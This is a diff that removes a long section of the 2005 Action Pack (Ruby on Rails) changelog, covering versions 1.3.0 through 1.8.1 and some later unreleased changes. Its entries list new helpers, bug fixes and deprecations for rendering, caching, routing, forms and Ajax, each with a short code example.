-* Added named routes (NEEDS BETTER DESCRIPTION) #1434 *Nicholas Seckar*
-
-* Improved AbstractRequest documentation #1483 *court3nay*
-
-* Added ActionController::Base.allow_concurrency to control whether the application is thread-safe, so multi-threaded servers like WEBrick knows whether to apply a mutex around the performance of each action. Turned off by default. EXPERIMENTAL FEATURE.
-
-* Added TextHelper#word_wrap(text, line_length = 80) #1449 *tuxie@dekadance.se*
-
-* Added a fall-through action for form_remote_tag that'll be used in case Javascript is unavailable #1459 *Scott Barron*. Example:
-
- form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") }
-
-* Added :xhr => true/false option to verify so you can ensure that a request is coming from an Ajax call or not #1464 *Thomas Fuchs*
-
-* Added tag_options as a third parameter to AssetHelper#auto_discovery_link_tag to control options like the title of the link #1430 *Kevin Clark*
-
-* Added option to pass in parameters to CaptureHelper#capture, so you can create more advanced view helper methods #1466 *duane.johnson@gmail.com*. Example:
-
- <% show_calendar(:year => 2005, :month => 6) do |day, options| %>
- <% options[:bgcolor] = '#dfd' if 10..15.include? day %>
- [<%= day %>]
- <% end %>
-
-* Changed the default name of the input tag generated by FormTagHelper#submit_tag from "submit" to "commit" so it doesn't clash with form.submit() calls in Javascript #1271
-
-* Fixed relative urls support for lighttpd #1048 *Nicholas Seckar/maznawak@nerim.net*
-
-* Correct distance_of_time_in_words for integer arguments and make the second arg optional, treating the first arg as a duration in seconds. #1458 *madrobby <thomas@fesch.at>*
-
-* Fixed query parser to deal gracefully with equal signs inside keys and values #1345 *gorou*.
- Example: /?sig=abcdef=:foobar=&x=y will pass now.
-
-* Added Cuba to country list #1351 *todd*
-
-* Fixed radio_button to work with numeric values #1352 *demetrius*
-
-* Added :extension option to NumberHelper#number_to_phone #1361 *delynnb*
-
-* Added button_to as a form-based solution to deal with harmful actions that should be hidden behind POSTs. This makes it just as easy as link_to to create a safe trigger for actions like destroy, although it's limited by being a block element, the fixed look, and a no-no inside other forms. #1371 *tom@moertel.com*
-
-* Fixed image_tag so an exception is not thrown just because the image is missing and alt value can't be generated #1395 *Marcel Molina Jr.*
-
-* Added a third parameter to TextHelper#auto_link called href_options for specifying additional tag options on the links generated #1401 *tyler.kovacs@gmail.com*. Example: auto_link(text, :all, { :target => "_blank" }) to have all the generated links open in a new window.
-
-* Fixed TextHelper#highlight to return the text, not nil, if the phrase is blank #1409 *Patrick Lenz*
-
-* Fixed TagHelper such that :name and 'name' keys in the options doesn't result in two attributes #1455 *take_tk*
-
-* Ensure that helpers are only available to the controllers where they are defined and their subclasses. #1394 *kdole@tamu.edu*
-
-* render("foo/bar") works with a layout again
-
-* Fixed double-singularization on scaffolded pagination call (Address would be turned into Addres) #1216, #1404 *nilsga*
-
-* Removed the require hack used by functional testing to work around an earlier bug in rake.
-
-* Allow distance_of_time_in_words to work with any value that responds to #to_time (like dates) #969
-
-* Support :render option for :verify #1440 *Tobias Lütke*
-
-* Updated vendor copy of html-scanner lib to 0.5.2, for bug fixes and optimizations. The :content option may be used as expected--to find a tag whose textual content is a particular value--in assert_tag, now.
-
-* Changed test requests to come from 0.0.0.0 instead of 127.0.0.1 such that they don't trigger debugging screens on exceptions, but instead call rescue_action_in_public
-
-* Modernize scaffolding to match the generator: use the new render method and change style from the warty @params["id"] to the sleek params[:id]. #1367
-
-* Include :id in the action generated by the form helper method. Then, for example, the controller can do Model.find(params[:id]) for both edit and update actions. Updated scaffolding to take advantage. #1367
-
-* Add assertions with friendly messages to TestCase#process to ensure that @controller, @request, and @response are set. #1367
-
-* Arrays, hashes sent via multipart posts are converted to strings #1032 *dj@omelia.org, me@julik.nl*
-
-* render(:layout => true) is a synonym for render(:layout => nil)
-
-* Make sure the benchmarking render method always returns the output of the render.
-
-* render(:action), render(:template) and render() are the only three calls that default to using a layout. All other render calls assume :layout => false. This also fixes send_file, which was applying a layout if one existed for the current action.
-
-* verify with :redirect_to won't redirect if a redirect or render has already been performed #1350
-
-* render(:partial => true) is identical to the behavior of the deprecated render_partial()
-
-* Fixed render(:partial => "...") to use an empty Hash for the local assigns #1365
-
-* Fixed Caching::Fragments::FileStore.delete to not raise an exception if the delete fails.
-
-* Deprecated all render_* methods in favor of consolidating all rendering behavior in Base#render(options). This enables more natural use of combining options, such as layouts. Examples:
-
- +---------------------------------------------------------------+-------------------------------------------------------+
- | BEFORE | AFTER |
- +---------------------------------------------------------------+-------------------------------------------------------+
- | render_with_layout "weblog/show", "200 OK", "layouts/dialog" | render :action => "show", :layout => "dialog" |
- | render_without_layout "weblog/show" | render :action => "show", :layout => false |
- | render_action "error", "404 Not Found" | render :action => "error", :status => "404 Not Found" |
- | render_template "xml.div('stuff')", "200 OK", :rxml | render :inline => "xml.div('stuff')", :type => :rxml |
- | render_text "hello world!" | render :text => "hello world!" |
- | render_partial_collection "person", @people, nil, :a => 1 | render :partial => "person", :collection => @people, |
- | | :locals => { :a => 1 } |
- +---------------------------------------------------------------+-------------------------------------------------------+
-
-* Deprecated redirect_to_path and redirect_to_url in favor of letting redirect_to do the right thing when passed either a path or url.
-
-* Fixed use of an integer as return code for renders, so render_text "hello world", 404 now works #1327
-
-* Fixed assert_redirect_to to work with redirect_to_path #869 *Nicholas Seckar*
-
-* Fixed escaping of :method option in remote_form_tag #1218 *Rick Olson*
-
-* Added Serbia and Montenegro to the country_select #1239 *todd@robotcoop.com*
-
-* Fixed Request#remote_ip in testing #1251 *Jeremy Kemper*
-
-* Fixed that compute_public_path should recognize external URLs, so image_tag("http://www.example.com/images/icon.gif") is not prefixed with the relative url path #1254 *victor-ronr-trac@carotena.net*
-
-* Added support for descending year values in DateHelper#select_year, like select_year(Date.today, :start_year => 2005, :end_year => 1900), which would count down from 2005 to 1900 instead of the other way #1274 *nwoods@mail.com*
-
-* Fixed that FormHelper#checkbox should return a checked checkbox if the value is the same as checked_value #1286 *Florian Weber*
-
-* Fixed Form.disable in Prototype #1317 *Wintermute*
-
-* Added accessors to logger, params, response, session, flash, and headers from the view, so you can write <% logger.info "stuff" %> instead of <% @logger.info "others" %> -- more consistent with the preferred way of accessing these attributes and collections from the controller
-
-* Added support for POST data in form of YAML or XML, which is controller through the Content-Type header. Example request:
-
- Content-Type: application/xml
- <request><item><content>HelloWorld</content></item></request>
-
- ...is the same as:
-
- Content-Type: application/x-yaml
- ---
- item:
- content: HelloWorld
-
- ...is the same as:
-
- item[content]=HelloWorld
-
- Which in the end turns into { "item" => { "content" => "HelloWorld" } }. This makes it a lot easier to publish REST web services on top of your regular actions (as they won't care).
-
- Example Curl call:
-
- curl -H 'Content-Type: application/xml' -d '<request><item><content>KillMeMore</content></item></request>' http://www.example.com/service
-
- You can query to find out whether a given request came through as one of these types with:
- - request.post_format? (:url_encoded, :xml or :yaml)
- - request.formatted_post? (for either xml or yaml)
- - request.xml_post?
- - request.yaml_post?
-
-* Added bundling of XmlSimple by Maik Schmidt
-
-* Fixed that render_partial_collection should always return a string (and not sometimes an array, despite <%= %> not caring)
-
-* Added TextHelper#sanitize that can will remove any Javascript handlers, blocks, and forms from an input of HTML. This allows for use of HTML on public sites, but still be free of XSS issues. #1277 *Jamis Buck*
-
-* Fixed the HTML scanner used by assert_tag where a infinite loop could be caused by a stray less-than sign in the input #1270 *Jamis Buck*
-
-* Added functionality to assert_tag, so you can now do tests on the siblings of a node, to assert that some element comes before or after the element in question, or just to assert that some element exists as a sibling #1226 *Jamis Buck*
-
-* Added better error handling for regexp caching expiration
-
-* Fixed handling of requests coming from unknown HTTP methods not to kill the server
-
-* Added that both AssetHelper#stylesheet_link_tag and AssetHelper#javascript_include_tag now accept an option hash as the last parameter, so you can do stuff like: stylesheet_link_tag "style", :media => "all"
-
-* Added FormTagHelper#image_submit_tag for making submit buttons that uses images
-
-* Added ActionController::Base.asset_host that will then be used by all the asset helpers. This enables you to easily offload static content like javascripts and images to a separate server tuned just for that.
-
-* Fixed action/fragment caching using the filestore when a directory and a file wanted to use the same name. Now there's a .cache prefix that sidesteps the conflict #1188 *imbcmdth@hotmail.com*
-
-* Fixed missing id uniqueness in FormTag#radio_button #1207 *Jarkko Laine*
-
-* Fixed assert_redirected_to to work with :only_path => false #1204 *Alisdair McDiarmid*
-
-* Fixed render_partial_collection to output an empty string instead of nil when handed an empty array #1202 *Ryan Carver*
-
-* Improved the speed of regular expression expirations for caching by a factor of 10 #1221 *Jamis Buck*
-
-* Removed dumping of template assigns on the rescue page as it would very easily include a ton of data making page loads take seconds (and the information was rarely helpful) #1222
-
-* Added BenchmarkHelper that can measure the execution time of a block in a template and reports the result to the log. Example:
-
- <% benchmark "Notes section" do %>
- <%= expensive_notes_operation %>
- <% end %>
-
- Will add something like "Notes section (0.345234)" to the log.
-
-* Added ActionController::Caching::Sweeper as an improved an easier to use sweeper. The new sweepers work on a single-step approach instead of two-steps like the old ones. Before
-
- def after_save(record)
- @list = record.is_a?(List) ? record : record.list
- end
-
- def filter(controller)
- controller.expire_page(:controller => "lists", :action => %w( show public feed ), :id => @list.id)
- controller.expire_action(:controller => "lists", :action => "all")
- @list.shares.each { |share| controller.expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
- end
-
- ..after:
-
- def after_save(record)
- list = record.is_a?(List) ? record : record.list
- expire_page(:controller => "lists", :action => %w( show public feed ), :id => list.id)
- expire_action(:controller => "lists", :action => "all")
- list.shares.each { |share| expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
- end
-
- The new sweepers can also observe on the actions themselves by implementing methods according to (before|after)_$controller_$action. Example of a callback that'll be called after PagesController#update_title has been performed:
-
- def after_pages_update_title
- expire_fragment(%r{pages/#{controller.assigns["page"].id}/.*})
- end
-
- Note that missing_method is delegated to the controller instance, which is assigned in a before filter. This means that you can call expire_fragment instead of @controller.expire_fragment.
-
-* Added that Fragments#expire_fragment now accepts as a regular expression as the name thereby deprecating expire_matched_fragments
-
-* Fixed that fragments shouldn't use the current host and the path as part of the key like pages does
-
-* Added conditions to around_filters just like before_filter and after_filter
-
-
-## 1.8.1 (20th April, 2005) ##
-
-* Added xml_http_request/xhr method for simulating XMLHttpRequest in functional tests #1151 *Sam Stephenson*. Example:
-
- xhr :post, :index
-
-* Fixed that Ajax.Base.options.asynchronous wasn't being respected in Ajax.Request (thanks Jon Casey)
-
-* Fixed that :get, :post, and the others should take a flash array as the third argument just like process #1144 *rails@cogentdude.com*
-
-* Fixed a problem with Flash.now
-
-* Fixed stringification on all assigned hashes. The sacrifice is that assigns[:person] won't work in testing. Instead assigns["person"] or assigns(:person) must be used. In other words, the keys of assigns stay strings but we've added a method-based accessor to appease the need for symbols.
-
-* Fixed that rendering a template would require a connection to the database #1146
-
-
-## 1.8.0 (19th April, 2005) ##
-
-* Added assert_tag and assert_no_tag as a much improved alternative to the deprecated assert_template_xpath_match #1126 *Jamis Buck*
-
-* Deprecated the majority of all the testing assertions and replaced them with a much smaller core and access to all the collections the old assertions relied on. That way the regular test/unit assertions can be used against these. Added documentation about how to use it all.
-
-* Added a wide range of new Javascript effects:
- * Effect.Puff zooms the element out and makes it smoothly transparent at the same time, giving a "puff" illusion #996 *thomas@fesch.at*
- After the animation is completed, the display property will be set to none.
- This effect will work on relative and absolute positioned elements.
-
- * Effect.Appear as the opposite of Effect.Fade #990 *thomas@fesch.at*
- You should return elements with style="display:none;" or a like class for this to work best and have no chance of flicker.
-
- * Effect.Squish for scaling down an element and making it disappear at the end #972 *thomas@fesch.at*
-
- * Effect.Scale for smoothly scaling images or text up and down #972 *thomas@fesch.at*
-
- * Effect.Fade which smoothly turns opacity from 100 to 0 and then hides the element #960 *thomas@fesch.at*
-
-* Added Request#xml_http_request? (and an alias xhr?) to that'll return true when the request came from one of the Javascript helper methods (Ajax). This can be used to give one behavior for modern browsers supporting Ajax, another to old browsers #1127 *Sam Stephenson*
-
-* Changed render_partial to take local assigns as the second parameter instead of an explicit object and then the assigns. So the API changes from:
-
- <%= render_partial "account", person, "rules" => regulations.rules %>
-
- ...to:
-
- <%= render_partial "account", :account => person, :rules => regulations.rules %>
-
- The old API will still work, though, and render_partial "account" will still assume :account => @account.
-
-* Added support for web servers that use PATH_INFO instead of REQUEST_URI like IIS #1014 *BradG/Nicholas Seckar*
-
-* Added graceful handling of PUT, DELETE, and OPTIONS requests for a complete coverage of REST functionality #1136 *Josh Knowles*
-
-* Fixed that you can now pass an alternative :href option to link_to_function/remote in order to point to somewhere other than # if the javascript fails or is turned off. You can do the same with form_remote_tag by passing in :action. #1113 *Sam Stephenson*
-
-* Fixed DateHelper to return values on the option tags such that they'll work properly in IE with form_remote_tag #1024 *Scott Raymond*
-
-* Fixed FormTagHelper#check_box to respect checked #1049 *DelynnB*
-
-* Added that render_partial called from a controller will use the action name as default #828 *Dan Peterson*
-
-* Added Element.toggle, Element.show, and Element.hide to the prototype javascript library. Toggle.display has been deprecated, but will still work #992 *Lucas Carlson*
-
-* Added that deleting a cookie should not just set it to an empty string but also instantly expire it #1118 *todd@robotcoop.com*
-
-* Added AssetTagHelper#image_path, AssetTagHelper#javascript_path, and AssetTagHelper#stylesheet_path #1110 *Larry Halff*
-
-* Fixed url_for(nil) in functional tests #1116 *Alisdair McDiarmid*
-
-* Fixed error handling of broken layouts #1115 *Michael Schubert*
-
-* Added submit_to_remote that allows you to trigger an Ajax form submition at the click of the submission button, which allows for multiple targets in a single form through the use of multiple submit buttons #930 *yrashk@gmail.com*
-
-* Fixed pagination to work with joins #1034 *scott@sigkill.org*
-
-* Fixed that *rest parameter in map.connect couldn't accept an empty list #1037 *Dee Zsombor*
-
-* Added :confirm option to link_to_remote just like link_to has #1082 *yrashk@fp.org.ua*
-
-* Added minute_step as an option to select_minute (and the helpers that use it) to jump in larger increments than just 1 minute. At 15, it would return 0, 15, 30, 45 options #1085 *ordwaye@evergreen.edu*
-
-* Fixed that an exception would be thrown when an empty form was submitted #1090 *jan@ulbrich-boerwang.de*
-
-* Moved TextHelper#human_size to NumberHelper#number_to_human_size, but kept an deprecated alias to the old method name
-
-* Fixed that the content-type for some browsers could include an additional \r which made wonky things happen #1067 *Thomas Fuchs*
-
-* Fixed that radio buttons shouldn't have a default size attribute #1074 *hendrik@mans.de*
-
-* Added ActionView::Helpers::InstanceTag::DEFAULT_RADIO_OPTIONS that contains a hash of default options for radio buttons #1074 *hendrik@mans.de*
-
-* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 *Nicholas Seckar*
-
-* Added JavascriptHelper#periodically_call_remote in order to create areas of a page that update automatically at a set interval #945 *Jon Tirsen*
-
-* Fixed Cache#expire_matched_fragments that couldn't recognize the difference between string and url_for options #1030 *Stefan Kaes*
-
-* Added simulation of @request.request_uri in functional tests #1038 *Jamis Buck*
-
-* Fixed autolinking to work better in more cases #1013 *Jamis Buck*
-
-* Added the possible of using symbols in form helpers that relate to instance variables like text_field :account, :name in addition to text_field "account", "name"'
-
-* Fixed javascript_include_tag to output type instead of language and conform to XHTML #1018 *Rick Olson*
-
-* Added NumberHelper for common string representations like phone number, currency, and percentage #1015 *DeLynn*
-
-* Added pagination for scaffolding (10 items per page) #964 *mortonda@dgrmm.net*
-
-* Added assert_no_cookie and fixed assert_cookie_equal to deal with non-existing cookies #979 *Jeremy Kemper*
-
-* Fixed :overwrite_param so it doesn't delete but reject elements from @request.parameters #982 *raphinou@yahoo.com*
-
-* Added :method option to verify for ensuring that either GET, POST, etc is allowed #984 *Jamis Buck*
-
-* Added options to set cc, bcc, subject, and body for UrlHelper#mail_to #966 *DeLynn*
-
-* Fixed include_blank for select_hour/minute/second #527 *edward@debian.org*
-
-* Improved the message display on the exception handler pages #963 *Johan Sorensen*
-
-* Fixed that on very rare occasions, webrick would raise a NoMethodError: private method 'split' called for nil #1001 *Flurin Egger*
-
-* Fixed problem with page caching #958 *Rick Olson*
-
-
-## 1.7.0 (27th March, 2005) ##
-
-* Added ActionController::Base.page_cache_extension for setting the page cache file extension (the default is .html) #903 *Andreas*
-
-* Fixed "bad environment variable value" exception caused by Safari, Apache, and Ajax calls #918
-
-* Fixed that pagination_helper would ignore :params #947 *Sebastian Kanthak*
-
-* Added :owerwrite_params back to url_for and friends -- it was AWL since the introduction of Routes #921 *raphinou*
-
-* Added :position option to link_to_remote/form_remote_tag that can be either :before, :top, :bottom, or :after and specifies where the return from the method should be inserted #952 *Matthew McCray/Sam Stephenson*
-
-* Added Effect.Highlight to prototype.js to do Yellow Fade Technique (of 37signals' fame) on any container #952 *Sam Stephenson/court3nay*
-
-* Added include_seconds option as the third parameter to distance_of_time_in_words which will render "less than a minute" in higher resolution ("less than 10 seconds" etc) #944 *thomas@fesch.at*
-
-* Added fourth option to process in test cases to specify the content of the flash #949 *Jamis Buck*
-
-* Added Verifications that allows you to specify preconditions to actions in form of statements like <tt>verify :only => :update_post, :params => "admin_privileges", :redirect_to => { :action => "settings" }</tt>, which ensure that the update_post action is only called if admin_privileges is available as a parameter -- otherwise the user is redirected to settings. #897 *Jamis Buck*
-
-* Fixed Form.Serialize for the JavascriptHelper to also seriliaze password fields #934 *dweitzman@gmail.com*
-
-* Added JavascriptHelper#escape_javascript as a public method (was private) and made it escape both single and double quotes and new lines #940 *mortonda@dgrmm.net*
-
-* Added trailing_slash option to url_for, so you can generate urls ending in a slash. Note that is currently not recommended unless you need it for special reasons since it breaks caching #937 *stian@grytoyr.net*
-
-* Added expire_matched_fragments(regular_expression) to clear out a lot of fragment caches at once #927 *Rick Olson*
-
-* Fixed the problems with : and ? in file names for fragment caches on Windows #927 *Rick Olson*
-
-* Added TextHelper#human_size for formatting file sizes, like human_size(1234567) => 1.2 MB #943 *thomas@fesch.at*
-
-* Fixed link_to :confirm #936 *Nicholas Seckar*
-
-* Improved error reporting especially around never shallowing exceptions. Debugging helpers should be much easier now #980 *Nicholas Seckar*
-
-* Fixed Toggle.display in prototype.js #902 *Lucas Carlson*
-
-
-## 1.6.0 (22th March, 2005) ##
-
-* Added a JavascriptHelper and accompanying prototype.js library that opens the world of Ajax to Action Pack with a large array of options for dynamically interacting with an application without reloading the page #884 *Sam Stephenson/David*
-
-* Added pagination support through both a controller and helper add-on #817 *Sam Stephenson*
-
-* Fixed routing and helpers to make Rails work on non-vhost setups #826 *Nicholas Seckar/Tobias Lütke*
-
-* Added a much improved Flash module that allows for finer-grained control on expiration and allows you to flash the current action #839 *Caio Chassot*. Example of flash.now:
-
- class SomethingController < ApplicationController
- def save
- ...
- if @something.save
- # will redirect, use flash
- flash[:message] = 'Save successful'
- redirect_to :action => 'list'
- else
- # no redirect, message is for current action, use flash.now
- flash.now[:message] = 'Save failed, review'
- render_action 'edit'
- end
- end
- end
-
-* Added to_param call for parameters when composing an url using url_for from something else than strings #812 *Sam Stephenson*. Example:
-
- class Page
-   def initialize(number)
-     @number = number
-   end
-   # ...
-   def to_param
-     @number.to_s
-   end
- end
-
- You can now use instances of Page with url_for:
-
- class BarController < ApplicationController
-   def baz
-     page = Page.new(4)
-     url = url_for :page => page # => "http://foo/bar/baz?page=4"
-   end
- end
-
-* Fixed form helpers to query Model#id_before_type_cast instead of Model#id as a temporary workaround for Ruby 1.8.2 warnings #818 *DeLynn B*
-
-* Fixed TextHelper#markdown to use blank? instead of empty? so it can deal with nil strings passed #814 *Johan Sörensen*
-
-* Added TextHelper#simple_format as a non-dependency text presentation helper #814 *Johan Sörensen*
-
-* Added that the html options disabled, readonly, and multiple can all be treated as booleans. So specifying <tt>disabled => :true</tt> will give <tt>disabled="disabled"</tt>. #809 *mindel*
-
-* Added path collection syntax for Routes that will gobble up the rest of the url and pass it on to the controller #830 *rayners*. Example:
-
- map.connect 'categories/*path_info', :controller => 'categories', :action => 'show'
-
- A request for /categories/top-level-cat, would give @params[:path_info] with "top-level-cat".
- A request for /categories/top-level-cat/level-1-cat, would give @params[:path_info] with "top-level-cat/level-1-cat" and so forth.
-
- The @params[:path_info] return is really an array, but where to_s has been overwritten to do join("/").
-
-* Fixed options_for_select on selected line issue #624 *Florian Weber*
-
-* Added CaptureHelper with CaptureHelper#capture and CaptureHelper#content_for. See documentation in helper #837 *Tobias Lütke*
-
-* Fixed :anchor use in url_for #821 *Nicholas Seckar*
-
-* Removed the reliance on PATH_INFO as it was causing problems for caching and inhibited the new non-vhost support #822 *Nicholas Seckar*
-
-* Added assigns shortcut for @response.template.assigns to controller test cases *Jeremy Kemper*. Example:
-
- Before:
-
- def test_list
- assert_equal 5, @response.template.assigns['recipes'].size
- assert_equal 8, @response.template.assigns['categories'].size
- end
-
- After:
-
- def test_list
- assert_equal 5, assigns(:recipes).size
- assert_equal 8, assigns(:categories).size
- end
-
-* Added TagHelper#image_tag and deprecated UrlHelper#link_image_to (recommended approach is to combine image_tag and link_to instead)
-
-* Fixed textilize to be resilient to getting nil parsed (by using Object#blank? instead of String#empty?)
-
-* Fixed that the :multipart option in FormTagHelper#form_tag would be ignored *Yonatan Feldman*
-
-
-## 1.5.1 (7th March, 2005) ##
-
-* Fixed that the routes.rb file wouldn't be found on symlinked setups due to File.expand_path #793 *piotr@t-p-l.com*
-
-* Changed ActiveRecordStore to use Marshal instead of YAML as the latter proved troublesome in persisting circular dependencies. Updating existing applications MUST clear their existing session table from data to start using this updated store #739 *Jamis Buck*
-
-* Added shortcut :id assignment to render_component and friends (before you had to go through :params) #784 *Lucas Carlson*
-
-* Fixed that map.connect should convert arguments to strings #780 *Nicholas Seckar*
-
-* Added UrlHelper#link_to_if/link_to_unless to enable other conditions that just link_to_unless_current #757 *mindel*
-
-* Fixed that single quote was not escaped in a UrlHelper#link_to javascript confirm #549 *Scott Barron*
-
-* Removed the default border on link_image_to (it broke xhtml strict) -- can be specified with :border => 0 #517 *?/caleb*
-
-* Fixed that form helpers would treat string and symbol keys differently in html_options (and possibly create duplicate entries) #112 *Jeremy Kemper*
-
-* Fixed that broken pipe errors (clients disconnecting in mid-request) could bring down a fcgi process
-
-* Added the original exception message to session recall errors (so you can see which class wasnt required)
-
-* Fixed that RAILS_ROOT might not be defined when AP was loaded, so do a late initialization of the ROUTE_FILE #761 *Scott Barron*
-
-* Fix request.path_info and clear up LoadingModule behavior #754 *Nicholas Seckar*
-
-* Fixed caching to be aware of extensions (so you can cache files like api.wsdl or logo.png) #734 *Nicholas Seckar*
-
-* Fixed that Routes would raise NameErrors if a controller component contains characters that are not valid constant names #733 *Nicholas Seckar*
-
-* Added PATH_INFO access from the request that allows urls like the following to be interpreted by rails: http://www.example.com/dispatcher.cgi/controller/action -- that makes it possible to use rails as a CGI under lighttpd and would also allow (for example) Rublog to be ported to rails without breaking existing links to Rublog-powered blogs. #728 *Jamis Buck*
-
-* Fixed that caching the root would result in .html not index.html #731, #734 *alisdair/Nicholas Seckar*
-
-
-## 1.5.0 (24th February, 2005) ##
-
-* Added Routing as a replacement for mod_rewrite pretty urls [Nicholas Seckar]. Read more in ActionController::Base.url_for and on http://manuals.rubyonrails.com/read/book/9
-
-* Added components that allows you to call other actions for their rendered response while execution another action. You can either delegate the entire response rendering or you can mix a partial response in with your other content. Read more on http://manuals.rubyonrails.com/read/book/14
-
-*  Fixed that proxy IPs do not follow all RFC1918 nets #251 *caleb@aei-tech.com*
-
-* Added Base#render_to_string to parse a template and get the result back as a string #479
-
-* Fixed that send_file/data can work even if render* has been called before in action processing to render the content of a file to be send for example #601
-
-* Added FormOptionsHelper#time_zone_select and FormOptionsHelper#time_zone_options_for_select to work with the new value object TimeZone in Active Support #688 *Jamis Buck*
-
-* Added FormHelper#file_field and FormTagHelper#file_field_tag for creating file upload fields
-
-* Added :order option for date_select that allows control over the order in which the date dropdowns is used and which of them should be used #619 [Tim Bates]. Examples:
-
- date_select("post", "written_on", :order => [:day, :month, :year])
- date_select("user", "birthday", :order => [:month, :day])
-
-* Added ActionView::Base.register_template_handler for easy integration of an alternative template language to ERb and Builder. See test/controller/custom_handler_test.rb for a usage example #656 *Jamis Buck*
-
-* Added AssetTagHelper that provides methods for linking a HTML page together with other assets, such as javascripts, stylesheets, and feeds.
-
-* Added FormTagHelper that provides a number of methods for creating form tags that doesn't rely on conventions with an object assigned to the template like FormHelper does. With the FormTagHelper, you provide the names and values yourself.
-
-* Added Afghanistan, Iran, and Iraq to the countries list used by FormOptions#country_select and FormOptions#country_options_for_select
-
-* Renamed link_to_image to link_image_to (since thats what it actually does) -- kept alias for the old method name
-
-* Fixed textilize for RedCloth3 to keep doing hardbreaks
-
-* Fixed that assert_template_xpath_matches did not indicate when a path was not found #658 *Eric Hodel*
-
-* Added TextHelper#auto_link to turn email addresses and urls into ahrefs
-
-* Fixed that on validation errors, scaffold couldn't find template #654 *mindel*
-
-* Added Base#hide_action(*names) to hide public methods from a controller that would otherwise have been callable through the URL. For the majority of cases, its preferred just to make the methods you don't want to expose protected or private (so they'll automatically be hidden) -- but if you must have a public method, this is a way to make it uncallable. Base#hidden_actions retrieve the list of all hidden actions for the controller #644 *Nicholas Seckar*
-
-* Fixed that a bunch of methods from ActionController::Base was accessible as actions (callable through a URL) when they shouldn't have been #644 *Nicholas Seckar*
-
-* Added UrlHelper#current_page?(options) method to check if the url_for options passed corresponds to the current page
-
-* Fixed https handling on other ports than 443 *Alan Gano*
-
-* Added follow_redirect method for functional tests that'll get-request the redirect that was made. Example:
-
- def test_create_post
- post :create, "post" => { "title" => "Exciting!" }
- assert_redirected_to :action => "show"
-
- follow_redirect
- assert_rendered_file "post/show"
- end
-
- Limitation: Only works for redirects to other actions within the same controller.
-
-* Fixed double requiring of models with the same name as the controller
-
-* Fixed that query params could be forced to nil on a POST due to the raw post fix #562 *moriq@moriq.com*
-
-* Fixed that cookies shouldn't be frozen in TestRequest #571 *Eric Hodel*
-
-
-## 1.4.0 (January 25th, 2005) ##
-
-* Fixed problems with ActiveRecordStore under the development environment in Rails
-
-* Fixed the ordering of attributes in the xml-decleration of Builder #540 *woeye*
-
-* Added @request.raw_post as a convenience access to @request.env['RAW_POST_DATA'] #534 *Tobias Lütke*
-
-* Added support for automatic id-based indexing for lists of items #532 [dblack]. Example:
-
- <% @students.each do |@student| %>
- <%= text_field "student[]", "first_name", :size => "20" %>
- <%= text_field "student[]", "last_name" %>
- <%= text_field "student[]", "grade", :size => "5" %>
- <% end %>
-
- ...would produce, for say David Black with id 123 and a grace of C+:
-
- <input id="student_123_first_name" name="student[123][first_name]" size="20" size="30" type="text" value="David" />
- <input id="student_123_last_name" name="student[123][last_name]" size="30" type="text" value="Black" />
- <input id="student_123_grade" name="student[123][grade]" size="5" type="text" value="C+" />
-
-* Added :application_prefix to url_for and friends that makes it easier to setup Rails in non-vhost environments #516 *Jamis Buck*
-
-* Added :encode option to mail_to that'll allow you to masquarede the email address behind javascript or hex encoding #494 *Lucas Carlson*
-
-* Fixed that the content-header was being set to application/octet_stream instead of application/octet-stream on send_date/file *Alexey*
-
-* Removed the need for passing the binding when using CacheHelper#cache
-
-* Added TestResponse#binary_content that'll return as a string the data sent through send_data/send_file for testing #500 *Alexey*
-
-* Added @request.env['RAW_POST_DATA'] for people who need access to the data before Ruby's CGI has parsed it #505 *Jeremy Kemper*
-
-* Fixed that a default fragment store wan't being set to MemoryStore as intended.
-
-* Fixed that all redirect and render calls now return true, so you can use the pattern of "do and return". Example:
-
- def show
- redirect_to(:action => "login") and return unless @person.authenticated?
- render_text "I won't happen unless the person is authenticated"
- end
-
-* Added that renders and redirects called in before_filters will have the same effect as returning false: stopping the chain. Example:
-
- class WeblogController
- before_filter { |c| c.send(:redirect_to_url("http://www.farfaraway.com")}) }
-
- def hello
- render_text "I will never be called"
- end
- end
-
-
-* Added that only one render or redirect can happen per action. The first call wins and subsequent calls are ignored. Example:
-
- def do_something
- redirect_to :action => "elsewhere"
- render_action "overthere"
- end
-
- Only the redirect happens. The rendering call is simply ignored.
-
-
-## 1.3.1 (January 18th, 2005) ##
-
-* Fixed a bug where cookies wouldn't be set if a symbol was used instead of a string as the key
-
-* Added assert_cookie_equal to assert the contents of a named cookie
-
-* Fixed bug in page caching that prevented it from working at all
-
-
-## 1.3.0 (January 17th, 2005) ##
-
-* Added an extensive caching module that offers three levels of granularity (page, action, fragment) and a variety of stores.
- Read more in ActionController::Caching.
-
-* Added the option of passing a block to ActiveRecordHelper#form in order to add more to the auto-generated form #469 *dom@sisna.com*
-
- form("entry", :action => "sign") do |form|
- form << content_tag("b", "Department")
- form << collection_select("department", "id", @departments, "id", "name")
- end
-
-* Added arrays as a value option for params in url_for and friends #467 [Eric Anderson]. Example:
-
- url_for(:controller => 'user', :action => 'delete', :params => { 'username' => %( paul john steve ) } )
- # => /user/delete?username[]=paul&username[]=john&username[]=steve
-
-* Fixed that controller tests can now assert on the use of cookies #466 *Alexey*
-
-* Fixed that send_file would "remember" all the files sent by adding to the headers again and again #458 *Jeremy Kemper*
-
-* Fixed url rewriter confusion when the controller or action name was a substring of the controller_prefix or action_prefix
-
-* Added conditional layouts like <tt>layout "weblog_standard", :except => :rss</tt> #452 *Marcel Molina Jr.*
-
-* Fixed that MemCacheStore wasn't included by default and added default MemCache object pointing to localhost #447 *Lucas Carlson*
-
-* Added fourth argument to render_collection_of_partials that allows you to specify local_assigns -- just like render_partial #432 *Ryan Davis*
-
-* Fixed that host would choke when cgi.host returned nil #432 *Tobias Lütke*
-
-* Added that form helpers now take an index option #448 *Tim Bates*
-
- Example:
- text_field "person", "name", "index" => 3
-
- Becomes:
- <input type="text" name="person[3][name]" id="person_3_name" value="<%= @person.name %>" />
-
-* Fixed three issues with retrying breakpoints #417 *Florian Gross*
-
- 1. Don't screw up pages that use multiple values for the same parameter (?foo=bar&foo=qux was converted to ?foo=barqux)
- 2. Don't screw up all forms when you click the "Retry with Breakpoint" link multiple times instead of reloading
- (This caused the parameters to be added multiple times for GET forms leading to trouble.)
- 3. Don't add ?BP-RETRY=1 multiple times
-
